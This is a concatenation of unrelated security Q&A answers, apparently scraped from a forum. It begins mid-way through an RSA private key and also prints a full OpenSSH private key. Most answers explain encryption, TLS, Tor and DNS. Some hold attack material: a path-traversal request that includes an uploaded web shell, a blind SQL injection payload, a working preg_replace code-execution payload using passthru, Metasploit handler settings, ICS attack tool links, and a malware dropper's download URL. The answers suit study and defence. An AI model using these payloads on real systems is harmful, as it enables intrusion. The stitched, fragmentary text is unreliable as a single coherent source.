sipl2mECgYEA74rBQDIEWaIVVZ72foeZYOMmAUKCLQtNxVuGl/XoMZO3evN2vbOv
Nw/nn5lVt6PRykVUUl6yb5gHvRSGtGJSB1q6pBVN1EF2sfvUep6mmpEwbSbENiAX
IftE0ap7PKT1aLKbLllwdsJlLCRMJIk07AvsulbkhSC+UmJVkfjblgkCgYEAznkE
fzmWS358MLxb0JM+4v1DO/1ne8z29ddHNppxSNj2Xjf+MMvOY4KaRQa8dMwc3Eqa
1EvPqnK6ila4L08Ai4CyWoGkkkIQBO9jO3mLp24xk6TRo002DbfJRnu4qW4zeryp
gYeFfBzwhc/IQKjXhv8AAfEUFCSYiFaWBsENuw0CgYEAwmyDyCAQqdPFrzYT6cUT
t7EGYtVhpT/cgshz6Rk9uiekL9Y2VWjnWTC+liq1iRUdLSiydRzJhYwHE+/6GaUH
4VJB1PY5soLj3TiCUHg+z4vym1VwwmGvhPRV+jt+RU26ppz5GVic0LeduINJjgoT
e1d+cAwg9PELqQCJZa5wREkCgYBPEuPZAaoAsalIVOro32uHLS1xrSPTsvSlxFO+
orleB9Ga1eDguT0KuTrx0pmcNYucBmpzgbE/ev7b+khBvgTcaGZl6R6o8OoHqdKc
NXl5nucXv1iWLPzVlhxchQd8w/qtN9HHDKrflIm9BY2Qzdj1F3XeSIDDEhzkohyE
66yhhQKBgGh9knh8SxnVxaPk0Rk/bQope9AwIDuIpfsf4KC/EPSZmMNHP8xBh8al
eymUot7Pj6dck31V4C3q74NKobY3p6fZ5t7tP9K6Br+J/FQFhvAdFAwpTD2Bks5H
fhZO5cniPpydb0YvOnoaVnb0nzXVsf1jIgPKfsCsZxoyE0jLb9oV
-----END RSA PRIVATE KEY-----

OpenSSH format with an ed25519 key:

In addition to it being shorter (because ECC keys just are that much shorter) notice that the message starts with ----BEGIN OPENSSH PRIVATE KEY-----, this is in OpenSSH-specific format that other software may or may not be able to read:

$ ssh-keygen -o -a 100 -t ed25519
$ cat .ssh/id_ed25519.o
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC7gIlwBMp+H6VVNZSHI0in2iCU/yi67WfeFPfuyAdkBAAAAJh7nk7je55O
4wAAAAtzc2gtZWQyNTUxOQAAACC7gIlwBMp+H6VVNZSHI0in2iCU/yi67WfeFPfuyAdkBA
AAAEBHl+qBAosBAUIGuvdDR8gJN/PEhempLe4NtyKiO7hCPLuAiXAEyn4fpVU1lIcjSKfa
IJT/KLrtZ94U9+7IB2QEAAAAEm1pa2VATWlrZS1zYW1zdW5nMQECAw==
-----END OPENSSH PRIVATE KEY-----


Debian encryption is as safe as Truecrypt. Is this correct?

Ubuntu is Debian based so this post might be relevant.  Also I believe the default program for Debian is LUKS

I believe you have an option of which algorithms to use.  I believe RC4/AES with SHA256 is standard.
How to re-encrypt disk with different password (standard Debian)
How secure is LUKS? | A look at LUKS disk encryption
Yes the entire drive is encrypted.  This is done by setting up the FDE upon installation of the operating system.  The bootloader will see the encrypted disk and ask for a password to load the operating system.

Most Debian distributions will provide an "alternate" installation, which usually entails a USB or CD installation.  This method allows for the installation of a Debian distro from an outside source, and should give an option to setup FDE.

HowTo: Setup LUKS (after OS installation)


What is insecure about the "insecure" option of NFS exports?

NFS trusts the client to provide its user ID. If the client says "I am user ID 1234", then the server assumes it's being accessed by user 1234. (Root is often disabled though)
Ports below 1024 can only be used by root. Ports 1024 and above can be used by any user. If I create a socket on a port above 1023, I can just tell the NFS server that I'm you and then access your files.
If I have to create a socket on a port below 1024, then I can't do that unless I have root access to my local machine. In a corporate or school environment where I don't have root access to any of the machines, this may be considered a useful security check. Note that I can still impersonate you if I can connect my own machine to the network!


I'm not familiar with this particular setup from Heartland, but it sounds like a "P2PE" solution. In that setup, the payment terminals have special Heartland-specific encryption keys loaded into them before they're shipped, and they encrypt all card data such that Heartland is the only one who can decrypt it. Since the data never transverses your network in a readable form, you're not in PCI scope - not even SAQ B-IP.

That said, there is a SAQ P2PE, which basically requires you to attest that you are using a P2PE certified solution and not storing card data in any other way.  You can read about it here and find the actual document here.


RSA maximum bytes to encrypt, comparison to AES in terms of security?

RSA, as defined by PKCS#1, encrypts "messages" of limited size. With the commonly used "v1.5 padding" and a 2048-bit RSA key, the maximum size of data which can be encrypted with RSA is 245 bytes. No more.

When you "encrypt data with RSA", in practice, you are actually encrypting a random symmetric key with RSA, and then encrypt the data with a symmetric encryption algorithm, which is not limited in size. This is how it works in SSL, S/MIME, OpenPGP... Regularly, some people suggest doing "RSA only" by splitting the input message into 245-byte chunks and encrypting each of them more or less separately. This is a bad idea because:

There can be substantial weaknesses in how the data is split and then rebuilt. There is no well-studied standard for that.
Each chunk, when encrypted, grows a bit (with a 2048-bit key, the 245 bytes of data become 256 bytes); when processing large amounts of data, the size overhead becomes significant.
Decryption of a large message may become intolerably expensive.

When encrypting data with a symmetric block cipher, which uses blocks of n bits, some security concerns begin to appear when the amount of data encrypted with a single key comes close to 2n/2 blocks, i.e. n*2n/2 bits. With AES, n = 128 (AES-128, AES-192 and AES-256 all use 128-bit blocks). This means a limit of more than 250 millions of terabytes, which is sufficiently large not to be a problem. That's precisely why AES was defined with 128-bit blocks, instead of the more common (at that time) 64-bit blocks: so that data size is practically unlimited.


Unfortunately, that VBS script appears to be a dropper which has installed malware to your computer. Your best option is to reinstall your operating system and start fresh.

The script has been uploaded to VirusTotal recently with indications of malware, and hybrid-analysis has further details of the malware after analysis.

The malware basically does the following:

Creates an Internet Explorer process in the background
Navigates to http://192.3.45.90/online.php?mdms=71464&to=1118813 multiple times, increasing the value of the to parameter each time to make different GET requests and download different VBS code
Executes the downloaded VBS code, installing malware


Information Security Career tracks - Academically vs. IT certifications

I think both are important.  It's becoming more common for employers to require an undergrad degree for many positions.  Fundamentally, if you don't have an undergrad degree, your ability to apply to positions will be limited.  For example, if you ever want to consider working for the Big 4, you'd have to be very much in demand to get past their screening systems, even if you know the hiring manager if you don't hold an undergrad degree.  So, your ability to "grow your career" and the path you can take shifts relative to those that may hold an undergrad or grad degree.

IT Certs are useful to demonstrate the currency of a skillset.  Vendor-specific certs demonstrate that the candidate passed a set of tests (practical, knowledge, or both) in accordance to a set standard.  It's good to have in certain situations but it also locks you into a specific vendor.  For example, a Cisco security cert may demonstrate the candidate's skillsets related to the Cisco tech stack, it may not have much bearing in a Juniper/Checkpoint shop.  With that said, it's not valueless, since vendor-specific certs still require demonstration of knowledge relative to standards (routing, firewall, ips, etc).

Vendor-agnostic certs generally demonstrate higher-level knowledge.  CISM is meant to demonstrate the candidate's ability to act as an InfoSec manager.  The requirements to obtain certification include passing a written test but also education and experience verification in a very specific set of skills (IT Governance, Risk, IT Sec Mgmt).  If you aren't able to demonstrate practical experience in those areas, then you'll have passed the exam but won't be awarded the cert until you meet the experience requirements.  CISSP follows a similar model as well.  In both cases, ISC2 and ISACA allows substitution of academic degree with years of experience.  So a candidate with a Masters won't have to demonstrate as many years of experience as would a candidate without a degree.

The big question for you is your ultimate end-goal relative to your career.  If you want to continue working at a SI as a consultant/tech/sa/mid management, you'll likely be fine for some time without a degree.  If you want to move out of SI, then I'd recommend reviewing job descriptions for your ideal next-step to determine whether a college degree is required.  However, consider the impact/effect on your career if your SI is acquired by another SI.  In such a situation, the acquiring organization may begin to impose their views on hiring/promotion.

So, I'd agree that it's possible to have a great career without a degree, I'd recommend sampling a path of your success and typical job requirements for those ideal jobs and chart out different paths to get where you want to be with and without variables (degrees, certs, experience, etc).  Lastly, I'd also recommend doing a search for individuals in infosec that have made it without undergrad degrees and determine the paths they took.  If I recall correctly, Marc Maiffret is one guy I know that's been pretty successful in InfoSec without a college education.  However, he is quite bright and has made a name for himself over the last decade.

HTH


If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?

No, while they may not appear in your log files they could still have executed via file inclusion bugs in other scripts. Imagine the following request:
POST /index.php HTTP/1.0
Host: yoursite

page=../uploads/shell.php

If vulnerable the script would execute, but the body of the request isn't logged and would not show the reference to shell.php
Additionally as you mentioned Apache you also need to consider the potential impact of .htaccess files which may affect what executes as PHP and logging as well. See this thing I wrote years ago: http://archive.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html


Adobe PDF File With Embedded Javascript signature in PAN firewall

While PDF files with Javascript might be used with attacks there are also legitimate reasons for a PDF file to have Javascript in it, for example to validate the input within PDF forms.

Because of this it is impossible to say what to do based on only the fact that a PDF contained Javascript. Instead you need to check where these files come from, who the recipient is, if the recipient maybe expected such files, if the source is maybe known for PDF files which contain Javascript for a non-malicious reason etc.


What are the drawbacks of non-PKI or distributed Key Management systems?

It simply is only a part of what a full Certicate sytem can do. If all you need is a strong encryption system, that ok. If you want to make sure that you are connected to the same service you used yesterday (or last week, or ...) it is ok.

If a server wants to make sure that the user asking for a document is the one that deposited it, or one that was explicitely given the ability to retrieve it, it is ok too.

But if an administrative authority wants to be sure that the guy asking for a birth certificate or any other confidential information is Mr. X, something or someone must certify that this particular key has indeed be given to Mr. X, and that the identity of Mr. X was thoroughly controlled with a physical presentation of Mr. X itself with his identity card or driving license. That part cannot exists without a trusted authority.

The other problematic case if if you have to engage a legal action against a guy that has sent a command to you and now refuses to pay. You can know that he is the owner of a particular key, but you cannot be sure if he is or not Mr X or Mr Y.

What I mean is that if you need a bond between a key and a particular human being, you need a trusted authority with strong administrative procedures.


Found this textarea with PHP in it. Might it be malicious/exploitable?

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed...

But it teaches us something very important about this site: user input is not properly sanitised.

This means any malicious third-party can create a request that contains arbitrary client-side scripts. This third-party can then convince a user of visiting their own website, and from that website generate a POST request to this vulnerable medical site. Then, the client-side script can be executed by the client you're targeting, within that user's session. If the user is connected to the site and able to perform any privileged operation (such as making a payment, or interacting with the content of the site), you may be able to have them perform this action unwillingly.

Such attacks are called Cross-Site Scripting (XSS) attacks, and are very commonplace unfortunately. See this question on our site and OWASP's own XSS checklist for help with XSS mitigation.


You should read the this article. HMAC is the preferred option in any case. The way you use the keyed hash exposes you to all weaknesses of the hash algorithm. HMAC, however is still safe because its security relies on less strong assumptions on the hash algorithm.

Please note that the opposite way of computing the hash HASH(KEY || MESSAGE) (as opposed to HASH (MESSAGE || KEY) as you intend to do it) is considered completely insecure as you can read here and here.


It derives key Encryption key using 100,000 iterations of PBKDF2_SHA-256 with your email address and PIN as the input. Master key is encrypted by this key.
src/angular/components/lock.component.ts
It is a trade-off for convenience over security. If the encrypted master key is extracted from memory, it can be brute-forced on attacker's machine. Encrypted master key is cleared on browser restart and requires master password to unlock the vault again but this option can be opted out from PIN settings which will cache encrypted master key in persistent storage.


Additional risks to home network in exposing (raspberry pi) honeypot to the internet

A wider exposure surface

That is correct. In case you did not open any ports to the internet so far and you open one now the direct consequence is a wider surface.

In my point of view the indirect consequences are much worse than that. Consider, that you put a device on the internet that is meant to be attacked. And it will be. So the question is rather when than if it falls. An even though you are using e.g. the DHSIELD software wich is designed to be hacked, someone might be breaking your "sandbox" at one point.

If someone compromises a host in the internal network a pivoting will be possible if he gains enough rights on the machine. So a secure approach using honeypots is to put them in a "DMZ" that has no connection itself to the inner circle of your network.
In that way its a lot less dangerous if it gets compromised.


Best practice for serving sensitive data?

Disclaimer: Without knowing the specifics of how the ID is generated, everything is just a guess.

The ID, Lhjjfkedhf_739567395, appears to be a concatenation of two components, a 10-character upper-/lower-case string and a 10-digit number. Assuming that is correct, there are 5210 possible values for the string and 1010 possible values for the numeric portion. It seems very unlikely to me that these values are independent (though with a sample of one, it's hard to know). So let's just assume that only the letter portion is truly random and that the numeric portion is some internal ID that they use.

5210 has the an order of magnitude of 1017. As this is such a large number (there are approximately 107 seconds in a year), it means that the vast majority of the possible values will be unused. As such, iterating through them or randomly guessing values to find a used one, especially as it seems you need to make a network connection to confirm each guess, would take a prohibitively long amount of time.

This analysis will only be correct if the initial guesses I made about the format of the IDs are correct and if they use a secure random number generator. Otherwise the situation could be much worse.


Implement GPG Verification (Bitcoin-OTC)

Rather than going through the whole #bitcoin-otc login procedure on behalf of your users (which, in the case of an existing session, may either be denied or attempt to replace the current session), you could have a bot present in #bitcoin-otc and then either require the ident-verified users to message it with a randomly generated token, or have them request a token from the bot to use on the website. You could decouple the bot from your main backend as well by providing the user with an encoded message that includes the verified response from ident signed by your bot — you would not need to implement any communication between the bot and your main app components since it would just endorse responses from ident. I believe that users would feel more secure with some of these approaches, as there may be some concern about a remote agent performing this auth within a largely security-aware community.

Most languages have established IRC libs, so it should be pretty straightforward once you get familiar with one for your language of choice.

EDIT

If you just want to verify ownership of a GPG-verified account, then just roll your own GPG verification. If you prefer Ruby, you can use https://github.com/ueno/ruby-gpgme to encrypt a signed/timestamped token for the user's public key. You wouldn't have to keep state, just verify that the token provided has a valid signature applied by your server. There may already be an open implementation like this today.


As a private individual, unless your hostname is myPassWordIs123 and your password is 123, then you really have nothing to worry about. Here's a screenshot from my main everyday-use laptop:

However, in corporate environment, hostnames usually hint at the functionality or the role of the server/machine. They might even provide some information that allows attacker to gain a deeper understanding of how the corporate network is designed and implemented.

After securing your machine with proper firewall rules, an anti-virus, common-sense usage practices, etc., then it might be beneficial to add a layer of obscurity and vagueness to your system.

Bottom line is: In your case, I wouldn't really worry about it.


How are anonymous cipher suites exploited

While anonymous cipher suites feel bad when configured at the server side like in your case they are only a real problem if the client offers such cipher suites. Only in this case a man in the middle attacker could trick the client to connect to the attacker because the client can be forced to not authenticate its peer. Once this is done it actually does not matter which cipher is used between attacker and server and if the attacker checks for the correct server or not, i.e. there is no need for the server supporting anonymous ciphers for the attack to succeed.


Comparing allegedly identical OpenPGP keys published through different channels

A PGP keyfile is not a single key string, but contains several entries (packets). Instead of trying to compare the ASCII representation of both files, you should use appropriate tools such as gpg(1) and compare the fingerprints.

  Is there some way to make this easy?

Yes, like this:

$ wget https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc
$ gpg --with-fingerprint VeraCrypt_PGP_public_key.asc
pub  rsa4096/54DDD393 2014-06-27
      Key fingerprint = 993B 7D7E 8E41 3809 828F  0F29 EB55 9C7C 54DD D393
uid                   VeraCrypt Team <veracrypt@idrix.fr>

The displayed fingerprint should be equal for both files. Note, how the lower few bits of the hash represent the key ID (EB559C7C54DDD393).

  Is there some reason these things aren't published in a standardised form?

They are, just check out RFC 4880 for the OpenPGP Message Format specification.

  What makes that MIT file so big?

It contains a lot more signature packets. Again, from the RFC:

  An OpenPGP message is constructed from a number of records that are
     traditionally called packets. An OpenPGP message, keyring,
     certificate, and so forth consists of a number of packets.

You can list all packets in a file via --list-packets (or use pgpdump(1) for a more readable version).

$ gpg --list-packets VeraCrypt_PGP_public_key.asc

This will yield an enumeration like this:

# off=0 ctb=99 tag=6 hlen=3 plen=525
:public key packet:
    version 4, algo 1, created 1403892630, expires 0
    pkey[0]: [4096 bits]
    pkey[1]: [17 bits]
    keyid: EB559C7C54DDD393
# off=528 ctb=b4 tag=13 hlen=2 plen=35
:user ID packet: "VeraCrypt Team <veracrypt@idrix.fr>"
# off=1137 ctb=89 tag=2 hlen=3 plen=540
:signature packet: algo 1, keyid D6BE7DAF738161CE
    version 4, created 1403950017, md5len 0, sigclass 0x10
    digest algo 2, begin of digest 08 92
    hashed subpkt 2 len 4 (sig created 2014-06-28)
    subpkt 16 len 8 (issuer key ID D6BE7DAF738161CE)
...

As you can see, the public key packet has the familiar key ID EB559C7C54DDD393, while the signature packets come with their respective issuer's key ID (which you can also look up at the keyserver).

Side note: What you call "preamble" is called ASCII armor and used to transfer PGP messages over channels that have difficulties with arbitrary binary data (e.g. e-mails). It's part of the format and you can leave it in the file.


Encrypt in C# program, Decrypt in android application By RSA Keys

Do not use RSA without padding (textbook RSA):
padding fixes undesirable properties of textbook RSA like malleability and semantical security.
It is possible to decrypt the message in the Android application if you use the same padding in each implementation.
In C#, you can specify the padding you want to use by creating an RSAEncryptionPadding object and using it as a parameter of the encrypt method from the RSACryptoServiceProvider class.
In Java, you can pass a standard cipher transformations string like RSA/ECB/OAEPWithSHA-256AndMGF1Padding as parameter of the Cipher.getInstance method.


Burpsuite: just passthrough firefox detect portal

Disable Captive portal from firefox as seen in this link.

In order to do that open a new tab and type about:config, then search for network.captive-portal-service.enabled and set it as false then you are good to go.


How to add all input required information in one single gpg command line?

I believe the answer can be found in this part of the manual: Unattended GPG key generation.

As an example:

cat <<EOF | gpg2 --batch --gen-key
Key-Type: DSA
Key-Length: 1024
Subkey-Type: ELG-E
Subkey-Length: 1024
Name-Real: Joe Tester
Name-Comment: with stupid passphrase
Name-Email: joe@foo.bar
Expire-Date: 20170115
Passphrase: abc
EOF


Pattern for access controlled client side encryption

KEK and DEK will not be helpful to you. In these schemes, the key that encrypts the data (DEK: data encryption key) never changes. Only the envelope/wrapper key (KEK: key encryption key) that protects the DEK changes. The KEK is the one that is protected by the user password. You can replace the user password & KEK and then protect the original DEK with the new KEK but the data is still encrypted with the original DEK, unless you replace DEK but that requires decrypting the document with the old DEK and encrypting it again with the new DEK.
If your solution relies on decryption at the client side, there is no way of avoiding storing DEK at the client. The client needs it to encrypt/decrypt. In the event of user password and thus KEK being compromised (the latter requires access to the device), then you can assume DEK is also compromised too (b/c it is encrypted by KEK). In this scenario, you need to re-encrypt all documents if the adversary can access the encrypted document too.
One alternative could be to not store DEK at the client-side permanently, rather provide it upon request, decrypted via KEK sent to your server in a SSL/TLS session from the client.

This can allow your app to store additional logs for incident response and also provide opportunity to perform anomaly detection etc at the server side.
But, this is just an improvement and doesn't solve the underlying problem: you're still sending the DEK to client, it's just not being stored permanently there anymore.
Plus, this eliminates the privacy of your users if that's a concern (i.e. the server knows and stores DEK, after KEK is received from the client).
Of course, if it comes to this point, why not perform all decryption/encryption at server side (the only thing I can think of: a) saving on server cloud cost by not handling the CPU intensive work at the server, and b) maybe avoiding the probably of unintentionally storing the decrypted versions of sensitive client documents on the server, i.e. memory dumps, error logs etc.)


Secure REST API without a user registration

You cannot secure any secret that is public. If the HTML page sent to the client have the API keys, they are not secret anymore. Anyone can read the page and grab the key, and use it as they want.

Don't even think about encoding, obfuscating or encrypting it client-side either. The developer tools on any modern browser will let the user see the actual request, and they will just grab the keys on the request. Even if the application is a binary with encryption and anti-tamper, and uses SSL with certificate pining, a determined user will grab the keys. It can take seconds or days, but the key will leak.

To protect the keys, use a proxy. Make a server side component that holds the keys and access the backend, and your HTML page (or app, or Java, or whatever client application) will access it.

And you cannot really know if the client connecting is your client. Even MMO game producers have trouble dealing with alternative clients used to bypass some protections. You can only make it harder, but again, a determined attacker can bypass your protections.


When I'm setting the options for the reverse_https handler in
  metasploit why would I set ExitOnSession to false and
  SessionCommunicationTimeout to 0, and don't [fully] understand the
  purpose.

If SessionCommunicationTimeout is 0:

  setting this to 0 will result in a session that will never timeout,
  which has some interesting uses

It will keep connecting back using the connection to the HTTPS endpoint.

  And why when ExitOnSession is false I can only use exploit -j and not
  exploit?

Because the handler can continue running as a job, even in the case of a closed, or failed meterpreter session. It only applies to jobs(-j) as these are the only ones that run in the background.

For more info, see here.


32-Bit Windows Position Independent shellcode variables

Any writable location in memory that you can reference reliably. You also have to worry about corruption of these strings depending upon how many instructions are in between your write and taking control of execution.

If the exploit is remote then you cannot use envp to write a string and reference in your shell code. If it is a local exploit this may be an option.

Hopefully this is enough of a response. Exploiting some vulnerabilities takes more creativity than others.


XSS - will javascript execute in anchor tag where "/" by default added by server in href

For the sake of keeping things simple, let's assume that you cannot break out of the href attribute and that your input is always prefixed by a /. Unfortunately, there is not trivial bypass for this scenario since as you pointed out, the / renders your payload harmless.


Does SSL/TLS (https) hide the urls being accessed

The HTTPS protocol is equivalent to using HTTP over an SSL or TLS connection (over TCP).

Thus, first a TCP connection (on port 443) is opened to the server. This is usually enough to reveal the server's host name (i.e. www.mysite.com in your case) to the attacker. The IP address is directly observed, and:

you usually did an unencrypted DNS query before,
many HTTPS servers serve only one domain per IP address,
The server's certificate is sent in plain, and contains the server name (between multiple ones, maybe),
in newer TLS versions, there is the server name indication, by which the client indicates to the server which host name is wished, so the server can present the right certificate, if it has multiple ones. (This is done to be able to go away from 2.)

Then a TLS handshake takes place. This includes negotiation of a cipher suite and then a key exchange. Assuming at least one of your browser and the server didn't include the NONE cipher in the accepted suites, everything following the key exchange is encrypted.

And assuming there is no successful man-in-the-middle attack (i.e. an attacker which does intercept the connection, and presents a forged server certificate which your browser accepts), the key exchange is secure and no eavesdropper can decrypt anything which is then sent between you and the server, and also no attacker can change any part of the content without this being noticed. This includes the URL and any other part of the HTTP request, as well as the response from the server.

Of course, as D.W. mentions, the length of both request (which contains not much more variable data than the URL, maybe some Cookies) and response can be seen from the encrypted data stream. This might subvert the secrecy, specially if there are only a small number of different resources on the server. Also any follow-up resource requests.

Your password in the URL (or any other part of the request) should still be secure, though - at most its length can be known.


Isn't the 3D secure system essentially completely ineffective in avoiding fraud?

This is more a security measure for the vendor.  Generally speaking, the vendor gets screwed if the transaction is fraudulent, so verifying the purchaser prior to authorizing the transaction is a big plus for the merchant and may also help improve the rates they get for doing the processing.

It allows for some level of the benefits of card present transactions without having to actually have the card present. (ie, the greater assurance of an authentic, authorized user).


Does mixing in keystrokes of Backspace, Arrows and Delete add any security to password typing?

I know some people that combine keyboard and mouse when typing passwords. They would type a piece of the password and then click moving the cursor between previously typed characters and insert new characters.

The idea is that the whole password is not typed in sequence. It is supposed to make keyloggers less effective.

Obviously this doesn't work with all password prompts.


Import certificate into Windows key store

You don't give much detail so it's hard to answer but I'd take a few of guesses here:

You're creating a new store and placing your key there but aren't actually telling your applications to use this store. Remember: by default, application will only look for private keys on the MY (a.k.a. personal) store.
You're storing the certificates in a different security context as the application. If you use the current user store, for instance, service applications will not be able to see or use them.
The user contact from which your application runs does not have access to the private key. This is typical of certificates stores in the computer (SYSTEM) user context and accessed through regular users. You need to setup the ACL on the private key for that to work.
You haven't installed the crypto provider drivers in all relevant systems: the certificates can then still be visible but access to the private key will fail.


Best practice to manage user's java/browsers/flash player/adobe reader auto-update

There are a few different options I can think of off the top of my head.  The easiest way would probably be to push the updates yourselves, either through a deployment project that can be tied in to WSUS or more simply, through a log on script that would check the version and update.  Both require some custom setup to make work though.  GPSI can also be used though it is a bit older and doesn't scale as well for larger setups.

I know we generally frown on linking off-site but there is a really nicely done write-up on more detail about this here.


Found a partial solution:
,if(1=(select 1 regexp if(1=1,1,0x00)),1,1) = TRUE
,if(1=(select 1 regexp if(1=2,1,0x00)),1,1) = FALSE [error]

Works with version() but not with subqueries using SELECT.


Why does the first authentication process does Not need a Authenticator in KERBROS(v4)

Kerberos first message only checks that the login id exists in the KDC and that the time are synchronized with the AS. There is no authenticator because, a replay attack at (1) does not make sense.

Authenticator is created mainly for AS and TGS.

As you can see from your (3) the authenticator appears at this point. This is where the access to server is requested. Ticket from (2) is validated and user authentication is validated.


The exit node will not know your address. The principle is that every server only knows the address of the previous and the next host but never the whole path. There are three steps between your TOR browser and the webserver:

Entry-Node (Knows your address and relay nodes address)
Relay-Node (knows entry-node and exit-node address)
Exit-Node (knows address of relay-node and webserver)

The packet you send is traveling this chain and the answer is travelling the same chain backwards. When you use HTTPS none of that TOR servers will ever know the content of packages sent/received. What they all do is adding encryption on top of your connecten even if it is already encrypted using SSL.

// Like in NAT the TOR-Nodes will replace the Source address of the IP-Packet with their own Adresse. The packets are then encrypted between the nodes. The only node that knows your address is the entry node which stores this information in the memory and will or should at least never store it permanently .


Understanding preg_replace Filtering & Exploitation

There are two issues here, both of which you can solve.

How preg_replace e works, and how to exploit it

The first problem is that preg_replace with e doesn't just execute anything you pass to it. It only executes those parts of the input that match the regex and are then used in the replacement via back references.

Here is a less complex example of how preg_replace eval works:

// The vulnerable code:
echo preg_replace('/(.*)/e', 'strtoupper("\\1")', $input);

// Your input:
foobar

// foobar is now captured and passed as back reference 1 to the replacement

// evaled:
strtoupper("foobar")

// the result of that eval is then put as replacement into the original input

To solve the issue in your example, simply create an input that is matched by the regex:

A@YOUR_PAYLOAD.AA

YOUR_PAYLOAD is what the capturing group will capture and what will be referenced in the replacement.

Code Execution inside double quoted string

The second problem is that the replacement uses the match inside a string, so your match will not be evaluated as code. This is an easy problem.

Your payload is inside double quoted strings, so just injecting any PHP code will not work, as it will be treated as string, not as code. You may think that simply escaping the string via " would solve your problem, but that will not work, as double quotes are escaped in all references. However, variables and function calls are evaluated inside double quoted strings.

This means that you can gain code execution like this:

input=A@${passthru($_GET[x])}.AA&x=id

The code that will be evaled is:

strtoupper("${passthru($_GET[x])}")

The result will be an empty string, but as passthru directly echoes input, it will show you the result. If warning are enabled, using exec would also work.


How do I know exactly what type of information Github collects from a visitor?

To see what exactly the site is doing and the details of the sessions, you can use many free tools such as Glasswire.

I use it to track every network connection on my systems and what files change or what is being uploaded by apps such as Chrome, IE, MS Word or sites. Check it out, it may help you here. This applies to your mobile device as well.

You would be surprised as to what other things the site is doing while you are browsing.

Another tool you can use is a proxy tool (Burp Suite, WireShark, Fiddler etc) that will enable you to intercept requests and responses by the site and you can watch the traffic when you visit the site and forward each request/response individually (some tools will allow you to do that).


How to find what files in a zip are malware using Virustotal

An easy way would be for you to unzip the files in a VM, create md5 hashes and submit the hashes to virus total. You'd know which files are malicious then.


Can you only communicate to a PLC using associated software?

The book, Hacking Exposed Industrial Control Systems: ICS and SCADA Security Secrets & Solutions, covers PLC discovery, scanning, modification, intrusion, malware, et al very-well.

For PLCs that connect to TCP/IP-based Modbus or Step7 Communications, in particular, the book mentions many ways to control the PLCs over the network without using the vendor-supplied apps.

For example, with Modbus TCP, one can use modbus-cli to control PLCs including reading or modifying memory (e.g., coils, registers). If you want to discover Modbus TCP devices, you can use the Nmap NSE script, modbus-discover, and to conduct packet-level operations use Wireshark (or tshark) for capture and modbus-vcr for man-in-the middle attacks.

Other tools such as plcscan will discover Modbus TCP and Step7 (s7comm) devices. The s7-info Nmap NSE script will provide more information on the s7comm devices found.

Hacking Exposed Industrial Control Systems also covers Stuxnet in varied depth with links to many other papers such as Symantec's w32-Stuxnet Dossier and the BlackHat 2011 Talk by Dillon Beresford on S7 PLC Exploitation. Here are the basics that the book summarizes:

  Stuxnet’s total composition consisted of three modules: one worm and
  two payloads. Stuxnet was traditionally introduced into an environment
  via a USB flash drive or external hard drive. Immediately on insertion
  of the infected media, Stuxnet’s worm capability laterally looked for
  any system with Siemens Step7 software running. Stuxnet performed this
  search by using techniques such as peer-to-peer RPC
  (https://en.wikipedia.org/wiki/Peer-to-peer) to help bypass the
  system’s possibility of not being Internet connected. If Step7 was not
  found on any laterally connected system, Stuxnet went dormant for a
  period of time before rescanning the environment. In the event that
  Step7 was identified, a combination of one or both payloads were
  executed.

  Of the two payloads contained within Stuxnet, one attacked the Siemens
  S7-315-2 PLC, which was primarily being used in high-frequency drives
  controlling Iranian centrifuges. The other payload, which is less
  known, performed a Man-in-The-Middle (MiTM) attack within the PLC. The
  payload took any input going to the PLC’s I/O modules and faked them
  so any logic within the PLC worked off incorrect logic. The payload
  then told the PLC what to do, instead of the PLC listening to the
  logic on the system itself. This was the first time any known malware
  hid modified PLC code, making Stuxnet the first “PLC rootkit”

and on Siemens S7comms:

  S7comms, or Step 7 communications, is a Siemens protocol implemented
  on an ISO protocol that is not open and has very tight controls. For
  the 200/300 families of PLCs, you can find some basic information
  about the protocol via a Wireshark dissector that is only partially
  implemented.

including a packet trace of S7 in action with Wireshark:

The book provides many other resources which I've supplied here along with some others for additional reference --

ICS devices on Shodan -- https://www.shodan.io/search?query=port%3A102
Step7 attack (e.g., brute-force) scripts -- https://github.com/atimorin/PoC2013/tree/master/S7
ScadaStrangeLove SCADAPASS -- https://github.com/scadastrangelove/SCADAPASS
https://github.com/atimorin/scada-tools
https://github.com/ITI/ICS-Security-Tools
http://www.samuraistfu.org/resources
http://www.robertmlee.org/a-collection-of-resources-for-getting-started-in-icsscada-cybersecurity/


What information does a private DNS prevent my ISP from seeing?

I don't understand if/how it can prevent my ISP from seeing what websites I visit.

It doesn't. Cloudflare's promise is that they don't keep records of your DNS queries. Your ISP can still log them by inspecting your traffic.

  if I use this service my ISP will not have access to the address I type in my browser, but it will know the IP this address is resolved to, is this correct?

Your ISP will have access to the domain you're visiting because your DNS query is unencrypted by default and HTTPS may leak the hostname due to Server Name Indication. Even without that, they may narrow down possible hostnames by looking at the IP you're connecting to.

  if I am on an HTTPS site while using my ISP's DNS servers, and I click on a link pointing to a page within the same site, does that constitute a new DNS lookup in which my ISP could see the exact link address?

Your system caches DNS, so navigating within the same domain usually doesn't trigger a new DNS query. Also, the exact URL isn't directly leaked when using HTTPS, you're only revealing the domain.

That said, there are protocols for encrypting DNS traffic such as DNSCrypt, DNS over HTTPS and DNS over TLS (which by now has been standardized). However, just encrypting DNS won't prevent leaking the hostname through other channels, such as SNI.


The server has no knowledge if the client will accept a certificate or not because validation is fully done at the client and depends a lot on the clients trust anchors. The server also has no knowledge if the client just reconnected because it failed to accept the previously sent certificate. This means the server can not pick another certificate just because the client did not accept the last one.
Apart from that clients will not just reconnect if they failed to verify a certificate because they will not expect the server to present a different certificate on reconnect. They expect the server to do it properly the first time.


What is the role of IP spoofing in DDoS attacks?

There are several kinds of DDOS attacks and IP spoofing is used in reflection and amplification attacks. In these attacks the attacker sends a small request with a spoofed source IP address to some servers and these send a much bigger response to alleged sender of the request, i.e. the spoofed IP address. This way an attacker can cause a bandwidth eating attack against some target by using only a small bandwidth himself. TCP SYN does not matter here because these attacks are done with UDP and not TCP. For more information read about NTP-based DDoS attacks or DNS-based DDOS attacks.


